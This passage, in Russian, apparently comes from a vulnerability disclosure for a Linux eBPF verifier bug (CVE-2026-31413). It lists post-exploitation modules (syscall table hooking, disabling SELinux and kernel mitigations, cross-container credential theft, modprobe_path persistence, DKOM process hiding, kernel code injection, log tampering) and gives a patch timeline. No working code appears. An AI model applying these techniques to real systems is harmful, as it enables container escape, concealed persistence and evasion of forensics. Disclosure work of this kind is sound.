| 3 | tier3_syscall_hook.c | Перехват таблицы системных вызовов - обход таблиц страниц, чтобы сделать таблицу системных вызовов доступной для записи, замена обработчика, вызов из пользовательского пространства, восстановление |
| 4 | tier4_security_disable.c | Отключение подсистем безопасности - отключение SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; проверка через /proc |
| 5 | tier5_cross_container.c | Кража учетных данных между контейнерами - перечисление структур nsproxy, поиск task_struct целевого PID в другом namespace, изменение его creds |
| 6 | tier6_persistence.c | Постоянство, активируемое ядром - перезапись modprobe_path и core_pattern для выполнения полезных нагрузок атакующего при ошибках формата бинарных файлов и сбоях |
| 7 | tier7_hardware.c | Интроспекция на уровне оборудования - дамп IDT, чтение/декодирование CR0/CR4, обход таблиц страниц с полной матрицей прав, восстановление базы KASLR |
| 8 | tier8_dkom_cloak.c | Скрытие процессов DKOM - форк дочернего процесса, поиск его task_struct, удаление из списка задач ядра (невидим для ps/итераторов задач), повторное связывание |
| 9 | tier9_code_inject.c | Живая инъекция кода в ядро - изменение PMD .text на записываемый, перезапись пролога sys_getuid шеллкодом (mov rax, 0x1337; ret), вызов из пользовательского пространства, восстановление |
| 10 | tier10_anti_forensics.c | Анти-форензика - дамп внутренностей кольцевого буфера printk, вмешательство в форензические переменные (ftrace, audit, dmesg_restrict, kptr_restrict), чтение/запись текста буфера журнала ядра |
| Дата | Событие |
|---|
| 2026-01-14 | bffacdb80b93 вводит maybe_fork_scalars() в 7.0-rc1 |
| 2026-03-04 | Баг бэкпортирован в стабильную ветку 6.12.y как dea9989a3f |
| 2026-03-11 | Я нашёл баг во время аудита верификатора |
| 2026-03-12 | Чтение/запись вне границ (OOB) подтверждены, эксплойт работает |
| 2026-03-13 | PoC побега из контейнера готов, видео записано |
| 2026-03-14 | Патч v3 отправлен на [email protected] |
| 2026-03-22 | Исправление вмёржено Алексеем Старовойтовым в bpf/bpf.git |
| 2026-04-06 | Линус вмёржил тег bpf-fixes в mainline |
| 2026-04-12 | CVE-2026-31413 присвоен Грегом Кроа-Хартманом |